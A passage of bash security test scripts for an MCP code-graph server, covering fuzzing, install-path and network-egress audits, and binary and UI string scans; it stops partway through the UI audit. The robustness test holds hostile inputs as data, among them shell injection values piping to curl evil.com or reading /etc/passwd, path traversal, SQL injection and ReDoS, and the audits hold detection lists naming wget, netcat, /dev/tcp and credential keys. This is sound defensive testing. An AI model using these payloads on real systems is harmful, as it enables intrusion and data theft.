while [ $SECONDS -lt $END_TIME ]; do
ITERATIONS=$((ITERATIONS + 1))
# Generate a random mutated JSON-RPC payload
PAYLOAD=$(python3 -c "
import random, string, json
# Base valid request
base = {
'jsonrpc': '2.0',
'id': random.randint(-999999, 999999),
'method': random.choice([
'initialize', 'tools/call', 'tools/list',
random.choice(string.ascii_letters) * random.randint(1, 100),
'',
]),
}
# Random mutations
mutation = random.randint(0, 10)
if mutation == 0:
# Valid tool call with random args
base['params'] = {'name': 'search_graph', 'arguments': {
'name_pattern': ''.join(random.choices(string.printable, k=random.randint(0, 500)))
}}
elif mutation == 1:
# Huge nested object
base['params'] = {'a': {'b': {'c': {'d': {'e': 'deep'}}}}}
elif mutation == 2:
# Random bytes as method
base['method'] = ''.join(random.choices(string.printable, k=random.randint(1, 1000)))
elif mutation == 3:
# Null fields
base['method'] = None
base['id'] = None
elif mutation == 4:
# Array instead of object
base = [1, 2, 3]
elif mutation == 5:
# Empty
base = {}
elif mutation == 6:
# Random Cypher query
base['params'] = {'name': 'query_graph', 'arguments': {
'query': ''.join(random.choices(string.printable, k=random.randint(1, 200)))
}}
elif mutation == 7:
# Very long string values
base['params'] = {'name': 'search_graph', 'arguments': {
'name_pattern': 'A' * random.randint(10000, 100000)
}}
elif mutation == 8:
# Unicode/binary-like content
base['params'] = {'name': 'search_code', 'arguments': {
'pattern': ''.join(chr(random.randint(0, 0xFFFF)) for _ in range(100))
}}
elif mutation == 9:
# Random tool name
base['params'] = {'name': ''.join(random.choices(string.ascii_letters, k=50)), 'arguments': {}}
else:
# Completely random JSON
base = ''.join(random.choices(string.printable, k=random.randint(1, 500)))
try:
print(json.dumps(base))
except:
print(json.dumps({'garbage': True}))
" 2>/dev/null || echo '{}')
# Build session: init + mutated payload
INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}'
printf '%s\n%s\n' "$INIT" "$PAYLOAD" > "$FUZZ_TMPDIR/input.jsonl"
# Run and check for crashes (not exit code — we expect errors, just not crashes)
run_with_timeout 5 "$BINARY" < "$FUZZ_TMPDIR/input.jsonl" > /dev/null 2>&1
EC=$?
# 139 = SIGSEGV, 134 = SIGABRT, 136 = SIGFPE — real crashes
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
echo "CRASH: exit code $EC on iteration $ITERATIONS"
echo "Payload: $PAYLOAD"
CRASHES=$((CRASHES + 1))
fi
done
echo "Phase 1: $ITERATIONS iterations, $CRASHES crashes"
# ── Phase 2: Random Cypher queries via CLI ───────────────────
echo ""
echo "--- Phase 2: Random Cypher queries via CLI ---"
CLI_ITERATIONS=0
CLI_END=$((SECONDS + 10))
while [ $SECONDS -lt $CLI_END ]; do
CLI_ITERATIONS=$((CLI_ITERATIONS + 1))
QUERY=$(python3 -c "
import random, string
parts = ['MATCH', 'WHERE', 'RETURN', '(', ')', '-[', ']->', '<-[', ']-',
'n', 'r', '.name', '.label', '=', '\"', \"'\", ';', '--', 'DROP',
'DELETE', 'ATTACH', 'DETACH', '*', 'COUNT', 'LIMIT', 'ORDER BY']
q = ' '.join(random.choices(parts, k=random.randint(1, 20)))
# Sometimes add random garbage
if random.random() > 0.5:
q += ''.join(random.choices(string.printable, k=random.randint(1, 100)))
print(q)
" 2>/dev/null || echo "MATCH (n) RETURN n")
run_with_timeout 3 "$BINARY" cli query_graph "{\"query\":\"$QUERY\"}" > /dev/null 2>&1
EC=$?
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
echo "CRASH: exit code $EC on Cypher iteration $CLI_ITERATIONS"
echo "Query: $QUERY"
CRASHES=$((CRASHES + 1))
fi
done
echo "Phase 2: $CLI_ITERATIONS iterations, $CRASHES total crashes"
# ── Summary ──────────────────────────────────────────────────
echo ""
if [ $CRASHES -gt 0 ]; then
echo "=== FUZZ TESTING FAILED: $CRASHES crash(es) found ==="
exit 1
fi
echo "=== Fuzz testing passed: $((ITERATIONS + CLI_ITERATIONS)) iterations, 0 crashes ==="
+130
View File
@@ -0,0 +1,130 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 7: MCP robustness test — sends adversarial JSON-RPC payloads via stdio.
#
# Verifies the MCP server handles malformed, oversized, and crafted inputs
# without crashing. Each payload is sent as a complete session (init + payload + EOF).
#
# Usage: scripts/security-fuzz.sh <binary-path>
BINARY="${1:?usage: security-fuzz.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 7: MCP Robustness Test ==="
FAIL=0
PASS=0
TOTAL=0
# Temp directory for input files (avoids pipe/stdin issues with timeout)
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
# Helper: send a payload to the MCP server and check it doesn't crash.
# Uses temp file + perl alarm for portable timeout (works on macOS + Linux).
test_payload() {
local name="$1"
local payload="$2"
TOTAL=$((TOTAL + 1))
# Write session input to a temp file (avoids pipe/stdin issues)
local tmpinput="$FUZZ_TMPDIR/input_${TOTAL}.jsonl"
printf '%s\n%s\n%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
"$payload" > "$tmpinput"
# Run with 10s timeout: GNU timeout → perl alarm fallback
local ec=0
if command -v timeout &>/dev/null; then
timeout 10 "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
else
perl -e 'alarm(10); exec @ARGV' -- "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
fi
# Acceptable exits:
# 0 = clean shutdown on EOF
# 141 = SIGPIPE (pipe closed while writing — normal for stdio MCP)
# 142 = SIGALRM (perl timeout — hung process, same as GNU timeout 124)
# 124 = GNU timeout
if [[ $ec -eq 0 || $ec -eq 141 ]]; then
PASS=$((PASS + 1))
elif [[ $ec -eq 124 || $ec -eq 142 ]]; then
echo "FAIL: $name — timed out (hung for 10s)"
FAIL=$((FAIL + 1))
else
echo "FAIL: $name — crashed with exit code $ec"
FAIL=$((FAIL + 1))
fi
}
echo ""
echo "--- Malformed JSON ---"
test_payload "empty line" ""
test_payload "garbage" "not json at all"
test_payload "truncated json" '{"jsonrpc":"2.0","id":2,"met'
test_payload "null byte in json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test\u0000evil"}}}'
test_payload "missing method" '{"jsonrpc":"2.0","id":2}'
test_payload "missing id" '{"jsonrpc":"2.0","method":"tools/call"}'
test_payload "wrong jsonrpc version" '{"jsonrpc":"1.0","id":2,"method":"tools/call","params":{}}'
test_payload "array instead of object" '[1,2,3]'
test_payload "deeply nested json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":{"a":{"b":{"c":{"d":{"e":{"f":"deep"}}}}}}}}}'
echo ""
echo "--- Oversized inputs ---"
# 1MB string argument
HUGE=$(python3 -c "print('A' * 1048576)" 2>/dev/null || python3.9 -c "print('A' * 1048576)" 2>/dev/null || echo "AAAA")
test_payload "1MB name_pattern" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"search_graph\",\"arguments\":{\"name_pattern\":\"$HUGE\"}}}"
# Very long tool name
test_payload "1000-char tool name" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"$(python3 -c "print('x' * 1000)" 2>/dev/null || echo 'xxxx')\",\"arguments\":{}}}"
echo ""
echo "--- Tool-specific adversarial inputs ---"
# search_graph with regex that could cause ReDoS
test_payload "ReDoS regex" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"(a+)+$"}}}'
# query_graph with SQL injection attempts
test_payload "SQL injection in query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n; DROP TABLE nodes; --"}}}'
test_payload "ATTACH attempt via query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"ATTACH DATABASE '"'"'/tmp/evil.db'"'"' AS evil"}}}'
# detect_changes with shell metacharacters in base_branch
test_payload "shell injection in base_branch" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main'\''$(whoami)'\''","project":"nonexistent"}}}'
test_payload "shell injection semicolon" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main; cat /etc/passwd","project":"nonexistent"}}}'
test_payload "shell injection pipe" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main | curl evil.com","project":"nonexistent"}}}'
# get_code_snippet with path traversal
test_payload "path traversal in qualified_name" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_code_snippet","arguments":{"qualified_name":"../../../../etc/passwd"}}}'
# search_code with shell metacharacters in file_pattern
test_payload "shell injection in file_pattern" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_code","arguments":{"pattern":"test","file_pattern":"*.py'\'' ; cat /etc/passwd #"}}}'
# index_repository with non-existent path (should return error, not crash)
test_payload "index nonexistent path" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"/nonexistent/path/abc123"}}}'
# Negative/zero values for numeric params
test_payload "negative limit" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test","limit":-1}}}'
test_payload "zero max_depth" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"trace_path","arguments":{"function_name":"test","max_depth":0}}}'
test_payload "huge max_rows" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n","max_rows":999999999}}}'
echo ""
echo "--- Results ---"
echo " $PASS/$TOTAL passed"
if [[ $FAIL -gt 0 ]]; then
echo " $FAIL FAILED"
echo ""
echo "=== MCP ROBUSTNESS TEST FAILED ==="
exit 1
fi
echo ""
echo "=== MCP robustness test passed ==="
+169
View File
@@ -0,0 +1,169 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 4: Install output audit — verifies install --dry-run writes only to expected paths.
#
# Checks:
# 1. All output file paths are in the expected set
# 2. No writes to sensitive directories (~/.ssh, ~/.gnupg, ~/.aws, /etc, /usr)
# 3. Skill file content contains no dangerous patterns
#
# Usage: scripts/security-install.sh <binary-path>
BINARY="${1:?usage: security-install.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 4: Install Output Audit ==="
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT
# Set HOME to tmpdir so install writes there instead of real home
export HOME="$TMPDIR/home"
mkdir -p "$HOME"
FAIL=0
# ── 1. Run install and capture written files ─────────────────────
echo "--- Running install -y ---"
# Run install (non-interactive with -y flag)
"$BINARY" install -y > "$TMPDIR/install_output.txt" 2>&1 || true
echo "Install output:"
cat "$TMPDIR/install_output.txt"
echo ""
# ── 2. Verify written paths are in expected set ──────────────────
echo "--- Verifying written file paths ---"
# Find all files created under HOME
find "$HOME" -type f > "$TMPDIR/created_files.txt" 2>/dev/null || true
# Expected path patterns (relative to HOME):
# .config/*/mcp.json (or .mcp.json variants)
# .claude/skills/*
# .claude/settings.json
# .continue/config.yaml
# .codeium/config.json
# .local/bin/codebase-memory-mcp
# Various agent config dirs
EXPECTED_PATTERNS=(
".claude/"
".cursor/"
".config/"
".continue/"
".codeium/"
".windsurf/"
".trae/"
".aider/"
".local/bin/"
"AGENTS.md"
"CONVENTIONS.md"
".mcp.json"
"mcp.json"
".zshrc"
".bashrc"
".profile"
)
while IFS= read -r filepath; do
relpath="${filepath#"$HOME/"}"
matched=false
for pattern in "${EXPECTED_PATTERNS[@]}"; do
if [[ "$relpath" == *"$pattern"* ]]; then
matched=true
break
fi
done
if ! $matched; then
echo "REVIEW: Unexpected file created: $relpath"
fi
done < "$TMPDIR/created_files.txt"
# ── 3. Check for writes to sensitive paths ───────────────────────
echo ""
echo "--- Checking for sensitive path writes ---"
SENSITIVE_DIRS=(".ssh" ".gnupg" ".aws" ".kube" ".config/gcloud")
for dir in "${SENSITIVE_DIRS[@]}"; do
if [[ -d "$HOME/$dir" ]]; then
echo "BLOCKED: Install created sensitive directory: ~/$dir"
FAIL=1
fi
done
# Also check install output for any references to sensitive paths
for dir in "${SENSITIVE_DIRS[@]}"; do
if grep -q "$dir" "$TMPDIR/install_output.txt" 2>/dev/null; then
echo "BLOCKED: Install output references sensitive path: $dir"
FAIL=1
fi
done
if [[ $FAIL -eq 0 ]]; then
echo "OK: No sensitive path writes detected."
fi
# ── 4. Audit skill file content ──────────────────────────────────
echo ""
echo "--- Auditing skill file content ---"
SKILLS_DIR="${CLAUDE_CONFIG_DIR:-$HOME/.claude}/skills"
if [[ -d "$SKILLS_DIR" ]]; then
SKILL_ISSUES=0
while IFS= read -r skill_file; do
basename=$(basename "$skill_file")
# Check for dangerous patterns in skill content
for pattern in 'system(' 'eval(' 'exec(' '__import__(' 'subprocess' 'os.popen'; do
if grep -q "$pattern" "$skill_file" 2>/dev/null; then
echo "BLOCKED: Skill '$basename' contains dangerous pattern: $pattern"
SKILL_ISSUES=1
FAIL=1
fi
done
# Check for unexpected URLs
if grep -oE 'https?://[^\s"'"'"']+' "$skill_file" 2>/dev/null | grep -v 'github.com/DeusData' | grep -v 'localhost' | grep -v '127.0.0.1' > /tmp/sec_skill_urls 2>/dev/null; then
while IFS= read -r url; do
echo "REVIEW: Skill '$basename' contains URL: $url"
done < /tmp/sec_skill_urls
rm -f /tmp/sec_skill_urls
fi
# Check for encoded strings (base64-like blocks > 50 chars)
if grep -E '[A-Za-z0-9+/]{50,}={0,2}' "$skill_file" > /dev/null 2>&1; then
echo "REVIEW: Skill '$basename' contains potential encoded content"
fi
done < <(find "$SKILLS_DIR" -type f -name '*.md')
if [[ $SKILL_ISSUES -eq 0 ]]; then
echo "OK: Skill files contain no dangerous patterns."
fi
else
echo "SKIP: No skills directory created."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== INSTALL OUTPUT AUDIT FAILED ==="
exit 1
fi
echo "=== Install output audit passed ==="
+107
View File
@@ -0,0 +1,107 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 3: Network egress test — monitors outbound connections during MCP session.
#
# Runs a full MCP session (initialize → index → search → EOF) under strace
# and verifies only expected connections are made.
#
# Linux only (strace required). macOS/Windows: skip with success.
#
# Usage: scripts/security-network.sh <binary-path>
BINARY="${1:?usage: security-network.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 3: Network Egress Test ==="
# Skip on non-Linux (no strace)
if [[ "$(uname)" != "Linux" ]]; then
echo "SKIP: strace not available on $(uname) — covered by binary string audit"
exit 0
fi
if ! command -v strace &>/dev/null; then
echo "SKIP: strace not installed"
exit 0
fi
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT
# Create a minimal test project
mkdir -p "$TMPDIR/project/src"
cat > "$TMPDIR/project/src/main.py" << 'EOF'
def main():
print("hello")
EOF
# MCP session input (jsonrpc over stdio)
cat > "$TMPDIR/input.jsonl" << JSONL
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"$TMPDIR/project"}}}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"main"}}}
JSONL
STRACE_LOG="$TMPDIR/strace.log"
echo "Running MCP session under strace..."
# Run binary with strace monitoring connect() syscalls
# -f: follow forks, -e trace=connect: only log connect() calls
timeout 30 strace -f -e trace=connect \
"$BINARY" < "$TMPDIR/input.jsonl" \
> "$TMPDIR/output.jsonl" 2> "$STRACE_LOG" || true
echo ""
echo "--- Connection log ---"
FAIL=0
# Parse strace output for connect() calls with AF_INET (IPv4 network)
# Format: connect(fd, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("x.x.x.x")}, ...)
if grep 'sa_family=AF_INET' "$STRACE_LOG" > "$TMPDIR/connections.log" 2>/dev/null; then
while IFS= read -r conn; do
# Extract destination IP and port
ip=$(echo "$conn" | grep -oP 'inet_addr\("\K[^"]+' || echo "unknown")
port=$(echo "$conn" | grep -oP 'htons\(\K[0-9]+' || echo "0")
# Allowed connections:
# - 127.0.0.1 (localhost, any port)
# - DNS (port 53, any IP)
# - api.github.com (140.82.x.x range, port 443) — update check
case "$ip" in
127.0.0.1|0.0.0.0)
echo " OK: localhost:$port"
;;
*)
if [[ "$port" == "53" ]]; then
echo " OK: DNS lookup to $ip"
elif [[ "$port" == "443" ]]; then
echo " REVIEW: HTTPS to $ip:$port (expected: api.github.com for update check)"
# This is expected — the binary checks for updates on startup
else
echo " BLOCKED: Unexpected connection to $ip:$port"
FAIL=1
fi
;;
esac
done < "$TMPDIR/connections.log"
else
echo " No outbound connections detected."
fi
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== NETWORK EGRESS TEST FAILED ==="
echo "Unexpected outbound connections detected. Full strace log:"
grep 'connect(' "$STRACE_LOG" || true
exit 1
fi
echo "=== Network egress test passed ==="
+198
View File
@@ -0,0 +1,198 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 2: Binary string audit — post-build check on the production binary.
#
# Scans extracted strings for:
# 1. Unauthorized URLs (only github.com + localhost allowed)
# 2. Suspiciously long base64-encoded payloads
# 3. Dangerous command names (wget, nc, netcat, telnet, ssh, /dev/tcp)
# 4. Credential patterns (password=, secret=, api_key=)
#
# Usage: scripts/security-strings.sh <binary-path>
BINARY="${1:?usage: security-strings.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
FAIL=0
# Detect file type. Shell scripts and other text files extract poorly via
# `strings` (the entire content becomes the "strings"), and rules tuned for
# compiled binaries (URL allowlist, wget/telnet detection) produce false
# positives — install.sh legitimately uses `wget` as a curl fallback, and
# `case` glob patterns like `https://*` look like unauthorized URLs.
#
# Strategy: for non-binary files we still run credential and base64 audits
# (those are universally meaningful), but skip the URL and dangerous-command
# audits which are designed for compiled artifacts. Script content is
# reviewed in PRs and scanned end-to-end by VirusTotal in the same pipeline.
IS_SCRIPT=false
if command -v file &>/dev/null; then
FILE_TYPE=$(file -b "$BINARY" 2>/dev/null || echo "")
case "$FILE_TYPE" in
*"shell script"*|*"ASCII text"*|*"UTF-8 Unicode text"*|*"Unicode text"*|*"a /usr/bin/env"*)
IS_SCRIPT=true
;;
esac
fi
if $IS_SCRIPT; then
echo "=== Layer 2: Script Content Audit ==="
else
echo "=== Layer 2: Binary String Audit ==="
fi
echo "File: $BINARY"
echo ""
# Check for strings command (needs binutils on some MSYS2 setups)
if ! command -v strings &>/dev/null; then
echo "SKIP: 'strings' command not available"
exit 0
fi
# Extract all printable strings (min length 4)
STRINGS_FILE=$(mktemp)
SEC_CMDS=$(mktemp)
SEC_CREDS=$(mktemp)
trap 'rm -f "$STRINGS_FILE" "$SEC_CMDS" "$SEC_CREDS"' EXIT
strings -n 4 "$BINARY" | sort -u > "$STRINGS_FILE"
# ── 1. URL audit (binary only — scripts handled via VT + PR review) ────
if $IS_SCRIPT; then
echo "--- URL audit (skipped — script file) ---"
else
echo "--- URL audit ---"
# Allowed URL prefixes
ALLOWED_URLS=(
"https://api.github.com/repos/DeusData/codebase-memory-mcp"
"https://github.com/DeusData/codebase-memory-mcp"
"http://127.0.0.1"
"http://localhost"
# SQLite internal URLs (part of vendored sqlite3 strings)
"https://sqlite.org"
"https://www.sqlite.org"
# Toolchain URLs embedded by compiler/linker in static builds
"https://bugs.launchpad.net"
"https://gcc.gnu.org"
"https://sourceware.org"
# MSYS2 CLANG64 toolchain (libc++/compiler-rt) package-tracker URL, baked
# into the static Windows .exe — Windows-only, hence Linux smoke stays clean.
"https://github.com/msys2/MINGW-packages"
# W3C XML namespace URIs (SVG, MathML, XLink — used in UI bundle)
"http://www.w3.org/"
# UI bundle: React, Three.js, Tailwind, Google Fonts, bundled libraries
"https://react.dev"
"https://fonts.googleapis.com"
"https://fonts.gstatic.com"
"https://tailwindcss.com"
"https://cdn.jsdelivr.net"
"https://docs.pmnd.rs"
"https://jcgt.org"
"https://github.com/pmndrs"
"https://github.com/react-spring"
"https://github.com/101arrowz"
"https://github.com/arty-name"
"https://github.com/fredli74"
"https://github.com/lojjic"
)
while IFS= read -r url; do
# Skip short false positives from binary data (e.g. "https://H9")
if [[ ${#url} -lt 15 ]]; then
continue
fi
allowed=false
for prefix in "${ALLOWED_URLS[@]}"; do
if [[ "$url" == "$prefix"* ]]; then
allowed=true
break
fi
done
if ! $allowed; then
echo "BLOCKED: Unauthorized URL in binary: $url"
FAIL=1
fi
done < <(grep -oE 'https?://[a-zA-Z0-9._/~:@!$&()*+,;=?#%[-]+' "$STRINGS_FILE" || true)
if [[ $FAIL -eq 0 ]]; then
echo "OK: All URLs are authorized."
fi
fi # end !IS_SCRIPT URL audit
# ── 2. Base64 payload detection ──────────────────────────────────
echo ""
echo "--- Base64 payload detection ---"
# Look for base64-like strings longer than 100 chars (potential encoded payloads)
B64_COUNT=$(grep -cE '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" || true)
if [[ "$B64_COUNT" -gt 0 ]]; then
echo "WARNING: Found $B64_COUNT potential base64-encoded strings > 100 chars"
grep -E '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" | head -5 | while IFS= read -r s; do
echo " ${s:0:80}..."
done
# Warning only — tree-sitter grammar data can look like base64
else
echo "OK: No suspicious base64 payloads found."
fi
# ── 3. Dangerous command detection (binary only) ─────────────────
echo ""
if $IS_SCRIPT; then
echo "--- Dangerous command detection (skipped — script file) ---"
DANGEROUS_CMDS=''
else
echo "--- Dangerous command detection ---"
DANGEROUS_CMDS='wget|netcat|ncat|/dev/tcp|telnet'
# Known-benign matches (vendored grammar URI scheme tables, etc.). Each entry
# is a regex matched against the full line; matches are stripped before
# evaluation. Document the source so reviewers can verify the false positive.
ALLOWED_DANGEROUS=(
'^telnet$' # rst tree-sitter grammar: valid_schemas[] in vendored/grammars/rst/tree_sitter_rst/chars.c
)
if grep -wE "$DANGEROUS_CMDS" "$STRINGS_FILE" > "$SEC_CMDS" 2>/dev/null && [ -s "$SEC_CMDS" ]; then
for allow in "${ALLOWED_DANGEROUS[@]}"; do
grep -vE "$allow" "$SEC_CMDS" > "${SEC_CMDS}.tmp" || true
mv "${SEC_CMDS}.tmp" "$SEC_CMDS"
done
fi
if [ -s "$SEC_CMDS" ]; then
echo "BLOCKED: Dangerous commands found in binary:"
cat "$SEC_CMDS"
FAIL=1
else
echo "OK: No dangerous commands found."
fi
fi # end !IS_SCRIPT dangerous-cmd audit
# ── 4. Credential pattern detection ──────────────────────────────
echo ""
echo "--- Credential pattern detection ---"
CRED_PATTERNS='password=|secret=|api_key=|apikey=|auth_token=|private_key='
if grep -iE "$CRED_PATTERNS" "$STRINGS_FILE" > "$SEC_CREDS" 2>/dev/null; then
echo "BLOCKED: Credential patterns found in binary:"
cat "$SEC_CREDS"
FAIL=1
else
echo "OK: No credential patterns found."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== BINARY STRING AUDIT FAILED ==="
exit 1
fi
echo "=== Binary string audit passed ==="
+211
View File
@@ -0,0 +1,211 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 6: Graph UI security audit.
#
# Audits:
# A. Frontend asset scan (embedded JS/CSS/HTML or graph-ui/dist/)
# B. HTTP server binding (must be 127.0.0.1 only)
# C. RPC proxy scope (no system()/popen() in HTTP handler path)
# D. CORS check (no wildcard Access-Control-Allow-Origin)
#
# Usage: scripts/security-ui.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
FAIL=0
# Use mktemp for all temp files (cross-platform safe)
SEC_TMPDIR=$(mktemp -d)
trap 'rm -rf "$SEC_TMPDIR"' EXIT
echo "=== Layer 6: Graph UI Security Audit ==="
# ── A. Frontend asset scan ───────────────────────────────────────
echo ""
echo "--- A. Frontend asset scan ---"
# Check both built dist and embedded asset source
UI_DIRS=()
[[ -d "$ROOT/graph-ui/dist" ]] && UI_DIRS+=("$ROOT/graph-ui/dist")
[[ -d "$ROOT/graph-ui/src" ]] && UI_DIRS+=("$ROOT/graph-ui/src")
if [[ ${#UI_DIRS[@]} -eq 0 ]]; then
echo "SKIP: No graph-ui directory found."
else
for UI_DIR in "${UI_DIRS[@]}"; do
echo "Scanning: $UI_DIR"
# A1: No external domains in JS/CSS/TS source code.
# For src/ (our code): strict — any external URL is blocked.
# For dist/ (bundled npm output): skip inline URL scan — minified JS
# contains hundreds of string-constant URLs from libraries (React error
# pages, W3C namespace URIs, CDN references, OSS credits) that are never
# fetched at runtime. Scanning them is noise. Structural checks (A2-A6)
# still apply to dist/.
is_dist=false
[[ "$UI_DIR" == *"/dist" || "$UI_DIR" == *"/dist/" ]] && is_dist=true
if ! $is_dist; then
echo " Checking for external domains (source)..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.css' \) -exec grep -lE 'https?://' {} \; 2>/dev/null | head -20 > "$SEC_TMPDIR/urls"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
grep -onE 'https?://[^\s"'"'"')]+' "$file" 2>/dev/null | while IFS=: read -r lineno url; do
case "$url" in
http://localhost*|http://127.0.0.1*|https://localhost*|https://127.0.0.1*)
;; # OK — local dev/runtime
*)
echo " BLOCKED: ${relfile}:${lineno}: External URL: $url"
touch "$SEC_TMPDIR/fail_flag"
;;
esac
done
done < "$SEC_TMPDIR/urls"
fi
[[ -f "$SEC_TMPDIR/fail_flag" ]] && FAIL=1 && rm -f "$SEC_TMPDIR/fail_flag"
else
echo " Skipping inline URL scan for dist/ (bundled library strings)."
echo " Structural checks (script loads, tracking, eval, iframes) still apply."
fi
# A2: No external script/link loads in HTML
echo " Checking for external script/link loads..."
if find "$UI_DIR" -type f -name '*.html' -exec grep -lE '<script\s+src=|<link\s+href=' {} \; 2>/dev/null > "$SEC_TMPDIR/scripts"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
if grep -nE '<script\s+src="https?://|<link\s+href="https?://' "$file" 2>/dev/null \
| grep -v 'localhost' | grep -v '127.0.0.1' \
| grep -v 'fonts.googleapis.com' | grep -v 'fonts.gstatic.com'; then
echo " BLOCKED: ${relfile}: External script/link load detected"
FAIL=1
fi
done < "$SEC_TMPDIR/scripts"
fi
# A3: No tracking/analytics
echo " Checking for tracking/analytics..."
TRACKING='google-analytics|gtag|mixpanel|segment\.com|hotjar|sentry\.io|plausible|posthog'
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.html' \) \
-exec grep -lE "$TRACKING" {} \; 2>/dev/null > "$SEC_TMPDIR/track"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
echo " BLOCKED: ${relfile}: Tracking/analytics reference found"
grep -nE "$TRACKING" "$file" | head -3
FAIL=1
done < "$SEC_TMPDIR/track"
fi
# A4: No hidden iframes
echo " Checking for iframes..."
if find "$UI_DIR" -type f -name '*.html' -exec grep -li '<iframe' {} \; 2>/dev/null > "$SEC_TMPDIR/iframe"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
echo " BLOCKED: ${relfile}: iframe detected"
FAIL=1
done < "$SEC_TMPDIR/iframe"
fi
# A5: No eval/Function constructor in JS
echo " Checking for eval/Function constructor..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
-exec grep -nE '\beval\s*\(|new\s+Function\s*\(' {} \; 2>/dev/null | grep -v node_modules | grep -v '\.test\.' > "$SEC_TMPDIR/eval"; then
while IFS= read -r match; do
echo " REVIEW: eval/Function found: $match"
done < "$SEC_TMPDIR/eval"
fi
# A6: No WebSocket to external
echo " Checking for external WebSocket connections..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
-exec grep -nE 'wss?://' {} \; 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1' > "$SEC_TMPDIR/ws"; then
while IFS= read -r match; do
echo " BLOCKED: External WebSocket: $match"
FAIL=1
done < "$SEC_TMPDIR/ws"
fi
done
fi
# ── B. HTTP server binding check ─────────────────────────────────
echo ""
echo "--- B. HTTP server binding check ---"
# The UI server is split across two first-party files:
# httpd.c — socket transport (binding, parsing)
# http_server.c — routing + endpoint handlers (CORS policy)
# Both MUST exist — a missing file means the audit target moved and the
# audit would go blind, so that is a hard failure, not a skip.
HTTPD="$ROOT/src/ui/httpd.c"
HTTP_SERVER="$ROOT/src/ui/http_server.c"
for f in "$HTTPD" "$HTTP_SERVER"; do
if [[ ! -f "$f" ]]; then
echo "BLOCKED: expected UI server source missing: $f"
FAIL=1
fi
done
if [[ -f "$HTTPD" ]]; then
# Must bind to 127.0.0.1 only
